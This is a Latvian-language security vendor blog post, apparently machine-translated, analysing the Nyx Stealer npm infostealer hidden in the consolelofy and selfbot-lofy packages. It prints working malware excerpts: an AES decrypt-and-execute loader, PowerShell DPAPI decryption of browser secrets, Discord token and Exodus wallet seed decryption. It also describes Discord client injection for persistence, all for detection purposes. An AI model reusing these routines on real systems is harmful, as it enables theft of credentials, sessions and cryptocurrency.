npm informācijas zaglis

Jauns npm Infostealer atklājums: Nyx ​​Stealer nolaupa Discord sesijas

TL; DR

Xygeni drošības pētījumu komanda identificēja sarežģītu NPM informācijas zagšanas kampaņu, kas tika īstenota, izmantojot divas ļaunprātīgas pakotnes: konsole un selfbot-lofy.

Jaunākā versija (consolelofy@1.3.0) ieguld 216 KB AES šifrētu vērtumu, kas tiek atšifrēts izpildlaikā un izpildīts, izmantojot vm.runInNewContext()Tā kā ļaunprātīgā loģika ir pilnībā šifrēta, statiskie skeneri, kas paļaujas uz virkņu pārbaudi, nevar novērot tās darbību līdz izpildes laikam.

Pēc atšifrēšanas lietderīgā slodze, kas iekšēji marķēta Niksa zagle, mērķi:

  • Discord autentifikācijas žetoni
  • Vairāk nekā 50 pārlūkprogrammas akreditācijas datu krātuves
  • Vairāk nekā 90 kriptovalūtas maka paplašinājumi
  • Roblox, Instagram, Spotify, Steam, Telegram un TikTok sesijas
  • Discord darbvirsmas klienta noturība

Tika ziņots par visām 20 abu pakotņu versijām, un tās tika apstiprinātas kā ļaunprātīgas.

Šī npm Infostealer tehniskais pārskats

Atšķirībā no tradicionālās instalēšanas laika ļaunprogrammatūras, šī kampaņa balstās uz runtime atšifrēšanas modelis.

Tur ir:

  • Nav ļaunprātīgas preinstall or postinstall hooks
  • Nav acīmredzamu tīkla izsaukumu instalēšanas laikā
  • Nav vienkārša teksta akreditācijas datu apkopošanas loģikas

Lietderīgā slodze tiek aktivizēta, kad modulis tiek importēts. Viss ļaunprātīgais pamatteksts tiek šifrēts un materializējas atmiņā tikai izpildes laikā.

Šis dizains īpaši novērš atklāšanu pakotnes instalēšanas laikā.

Kā šis npm informācijas zaglis faktiski darbojas

Pirms analizēt, ko Nyx Stealer zog, mums ir jāsaprot kā tas tiek izpildīts.

Šī npm informācijas zagļa ļaunprātīgā loģika atbilst konsekventam modelim:

Neliels ielādētājs atšifrē lielu šifrētu vērtumu un dinamiski to izpilda Node.js virtuālās mašīnas kontekstā.

Šis dizains ir apzināts. Uzbrucējs neslēpj funkcionalitāti tikai aiz maskēšanas, bet gan pilnībā noņemot ļaunprātīgo kodu no statiskās redzamības.

Augsta līmeņa izpildes modelis

Augstā līmenī iesaiņotājs veic četras lietas:

  • Atvasina AES atslēgu no cietkodētas paroles, izmantojot SHA-256
  • Atšifrē lielu heksadecimāli kodētu šifrtekstu, izmantojot AES-256-CBC
  • Izpilda atšifrēto JavaScript kodu, izmantojot vm.runInNewContext()
  • Nodrošina smilškastes vidi, kurā joprojām ir pieejami jaudīgi izpildlaika primitīvi

Galvenās tehnikas kopsavilkums

Komponents Konfigurācija/vērtība
Algoritms AES-256-CBC
Atslēgu atvasināšana SHA-256 (parole)
Inicializācijas vektors (IV) 16 baiti no 0x00
Izpildīšana vm.runInNewContext(atšifrēts, smilškaste)

Kritiski svarīgi, ka smilšu kaste iziet cauri:

  • require
  • process
  • Buffer
  • taimeri
  • moduļu eksports

Tas nozīmē, ka atšifrētā lietderīgā slodze saglabā pilnīgas iespējas:

  • Nārsta procesi
  • Lasīt un rakstīt failus
  • Veikt tīkla zvanus
  • Modificēt lokālās lietojumprogrammas

Šī nav ierobežota virtuālā mašīna. Tā ir virtuālā mašīna, ko izmanto kā izpildes tramplīnu.

Izpildes laika šifrēšanas modelis (galvenais izpildes mehānisms)

Iekrāvējs ir mazs.
Ļaunprātīgais ķermenis tāds nav.

Zemāk ir izpildes modelis, kas atrodams pakotnes iekšpusē:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Kāpēc Tas jautājumi

Atšifrētā lietderīgā slodze:

  • Vai nav pastāv vienkāršā tekstā npm pakotnē
  • Ir neredzams vienkāršam grep vai statiska virknes skenēšana
  • materializējas atmiņā tikai izpildlaikā
  • Izpilda ar pilnām Node izpildlaika iespējām

Šī AES + VM izpildes kombinācija ir spēcīgs uzvedības rādītājs, kas liecina par npm infostealer mēģina izvairīties no statiskās pārbaudes.

Citiem vārdiem sakot:

Ja skenējat pakotnes avota koku, jūs neredzat zagli.
Jūs redzat atšifrētāju.

Kas notiek pēc atšifrēšanas

Kad Nyx Stealer ir izpildīts, tā uzsāk paralēlas datu vākšanas viļņus.

1. kārta: pārlūkprogrammas akreditācijas datu ieguve

Ļaunprogrammatūra:

  • Lejupielādē Python izpildlaika vidi no NuGet CDN
  • Instalē kriptogrāfiskās bibliotēkas
  • Izgūst uz Chromium balstītas akreditācijas datu krātuves
  • Atšifrē ar DPAPI aizsargātus noslēpumus

Tā vietā, lai kompilētu vietējās saistīšanas, tā izmanto PowerShell, lai tieši izsauktu Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Šī pieeja:

  • Izvairās no kompilācijas artefaktiem
  • Izmanto vietējās Windows kriptogrāfijas API
  • Iekļaujas administratīvajos rīkos

Tā ir OS līmeņa akreditācijas datu atšifrēšana, nevis datu nokasīšana.

2. vilnis: Discord tokena atšifrēšana

Zaglis apzinās protokolus. Tas saprot Discord šifrēto tokena formātu.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Darbības plūsma:

  • Izvilkt galveno atslēgu no Discord Local State
  • Atšifrēt galveno atslēgu, izmantojot DPAPI
  • Atšifrēt AES-GCM marķiera blobus
  • Validēt žetonus, izmantojot Discord API
  • Bagātiniet ar Nitro, nozīmītēm, norēķinu informāciju

Tā nav vispārīga akreditācijas datu izgāšana. Tā ir protokolu apzinoša sesijas nolaupīšana.

3. vilnis: mērķauditorijas atlase kriptovalūtu makiem

Npm infostealer uzskaita:

  • 90+ pārlūkprogrammas maka paplašinājumi
  • 27 galda maki
  • Aukstā maka ceļi
  • Exodus sēklu faili

Sēklas atšifrēšanas mēģinājuma piemērs:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Ja tas izdodas, maka kompromitēšana ir tūlītēja un neatgriezeniska.

Tas attēlo kampaņas vērtīgāko monetizācijas vektoru.

Noturība, izmantojot Discord Desktop Injection

Pēc akreditācijas datu ieguves Nyx Stealer mēģina saglabāt datus, modificējot lokālos datus. Neatbilstība klientu.

Mērķis:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Darbības secība

Informācijas zaglis veic šādas darbības:

  • Pārtrauc palaistos Discord procesus
  • Atrod instalētos Discord variantus (Stable, Canary, PTB)
  • Pārraksta discord_desktop_core/index.js
  • Ievada uzbrucēja kontrolētu tīmekļa āķa loģiku
  • Restartē Discord

Tas nodrošina, ka turpmākajās Discord sesijās automātiski noplūdīs jaunas autentifikācijas pilnvaras.

Svarīgi ir tas, ka šī noturība nav atkarīga no ieplānotiem uzdevumiem vai reģistra modifikācijām. Tā izmanto lietojumprogrammas līmeņa koda modifikāciju, kas ir neuzkrītošāka pieeja.

Pat ja ļaunprātīgā npm pakotne vēlāk tiek noņemta, Discord klients joprojām ir apdraudēts.

Tehniskais salīdzinājums: Legitimate Selfbot pret npm Infostealer

Komponents Likumīga bibliotēka Nyx npm informācijas zaglis
Šifrēšana neviens Pilna AES šifrēta vērtuma slodze
Izpildes laika virtuālā mašīna Nav nepieciešama vm.runInNewContext izpildīšana
Piekļuve akreditācijas datiem Tikai Discord API Pārlūks, maki, DPAPI
Ārējās lejupielādes Python izpildlaiks, izmantojot NuGet
Neatlaidība Discord klienta injekcija
monetizācijas Botu automatizācija Akreditācijas tālākpārdošana

Jau vien šifrēšanas slānis atšķir šo kampaņu no tipiskas atvērtā pirmkoda atzarošanas.

Leģitīmam Discord pašbotam nav iemesla šifrēt visu savu koda bāzi, ģenerēt PowerShell, lai piekļūtu DPAPI, lejupielādēt ārējus izpildlaikus vai modificēt darbvirsmas lietojumprogrammu iekšējos elementus. Kad šīs iespējas parādās atkarībā, kas apgalvo, ka automatizē Discord mijiedarbību, arhitektūras neatbilstību vairs nav iespējams ignorēt.

No izmeklēšanas viedokļa šis npm infostealer atstāj pēdas vairākos slāņos. Tomēr visuzticamākie rādītāji nav cietkodā ierakstīti URL vai konkrēti failu ceļi, jo tie var mainīties starp versijām. Tā vietā noturīgākie signāli ir strukturāli.

Pakotnes līmenī spēcīgākais brīdinājuma signāls ir lielas šifrētas slodzes un izpildlaika atšifrēšanas apvalka kombinācija, kas nekavējoties tiek izpildīta, izmantojot vm.runInNewContext()Lai gan šifrēšana pati par sevi nav ļaunprātīga, AES atšifrēšanas izmantošana, kam seko dinamiska VM izpilde Discord utilītprogrammas pakotnē, ir ļoti anomāla.

Resursdatora līmenī aizdomīgi modeļi ietver negaidītu DPAPI atšifrēšanas darbību, procesu sākšanu no Node.js atkarības konteksta un lokālo lietojumprogrammu failu modifikāciju, kurus trešo pušu bibliotēkām nekad nevajadzētu mainīt. Līdzīgi tīkla slānī vēl viena nozīmīga anomālija ir izejošā tīmekļa aizķeres stila saziņa, ko ierosina izstrādes atkarība.

Citiem vārdiem sakot, noteikšanas virsma nav vienīgais kompromitēšanas indikators. Tieši šifrēšanas, izpildes laika, piekļuves akreditācijas datiem un noturības uzvedības korelācija atklāj apdraudējumu.

Atklāšana un mazināšana ar Xygeni

npm informācijas zaglis

Šo npm informācijas zagli identificēja Xygeni ļaunprogrammatūras agrīnā brīdināšana (MEW) izmantojot slāņveida uzvedības korelāciju, nevis vienkāršu parakstu saskaņošanu.

Tā vietā, lai meklētu zināmas ļaunprātīgas virknes, MEW novērtē strukturālās anomālijas visā avota kokā. Šajā gadījumā noteikšana izrietēja no vairāku signālu konverģences: iegultas AES atšifrēšanas rutīnas moduļa ieejas punktā, tūlītējas izpildes VM kontekstā un skaidras spēju un nolūka neatbilstības.

Svarīgi ir tas, ka neviens no šiem signāliem atsevišķi nepierāda ļaunprātīgu nodomu. Tomēr, analizējot tos kopā, tie atklāj mēģinājumu slēpt darbību izpildes laikā. Šī daudzslāņainā pieeja ievērojami samazina viltus pozitīvos rezultātus, vienlaikus identificējot augstas ticamības piegādes ķēdes draudus.

Turklāt šis gadījums ilustrē, kāpēc ar pārbaudi instalēšanas laikā vien nepietiek. Ļaunprātīgā loģika neatrodas dzīves cikla skriptos. Tā aktivizējas tikai pēc moduļa ielādes un kļūst redzama tikai pēc atšifrēšanas atmiņā. Tāpēc efektīvai aizsardzībai ir nepieciešama šifrēšanas apzinoša analīze, uzvedības modeļu atpazīšana un nepārtraukta atkarību uzraudzība ārpus instalēšanas notikumiem.

Reģistra dzēšana ir reaktīva. Izpildes laika analīze ir preventīva.

Kāpēc šis npm informācijas zaglis ir svarīgs

Nyx Stealer atspoguļo strukturālu evolūciju npm balstītā ļaunprogrammatūrā.

Vēsturiski daudzas ļaunprātīgas pakotnes balstījās uz redzamiem instalēšanas laika skriptiem vai acīmredzamiem akreditācijas datu eksfiltrācijas galapunktiem. Turpretī šī kampaņa šifrē savu lietderīgo slodzi, atliek izpildi uz izpildlaiku, izmanto likumīgas operētājsistēmas API un izveido noturību uzticamās lietojumprogrammās.

Līdz ar to uzbrucējam nav jāizmanto pati npm infrastruktūra. Tā vietā uzbrukums izdodas, jo atkarību instalēšana nozīmē uzticēšanos. Izstrādātāji pieņem, ka bibliotēkas importēšana ir droša darbība, īpaši, ja tā sevi parāda kā ticamu populāra rīka atvasinājumu.

Ekosistēmām turpinot augt un forkiem vairojoties, šī netiešā uzticēšanās robeža kļūst par arvien pievilcīgāku uzbrukuma virsmu. Tāpēc aizsardzībai pret mūsdienu npm informācijas zagļiem ir nepieciešams atpazīt arhitektūras modeļus, nevis meklēt statiskas virknes.

Galu galā šī kampaņa nostiprina svarīgu mācību par software supply chain securityVisbīstamākie draudi nav tie, kas no pirmā acu uzmetiena izskatās ļaunprātīgi, bet gan tie, kas strukturāli šķiet likumīgi, līdz izpildes laikā atklājas to patiesā uzvedība.

sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu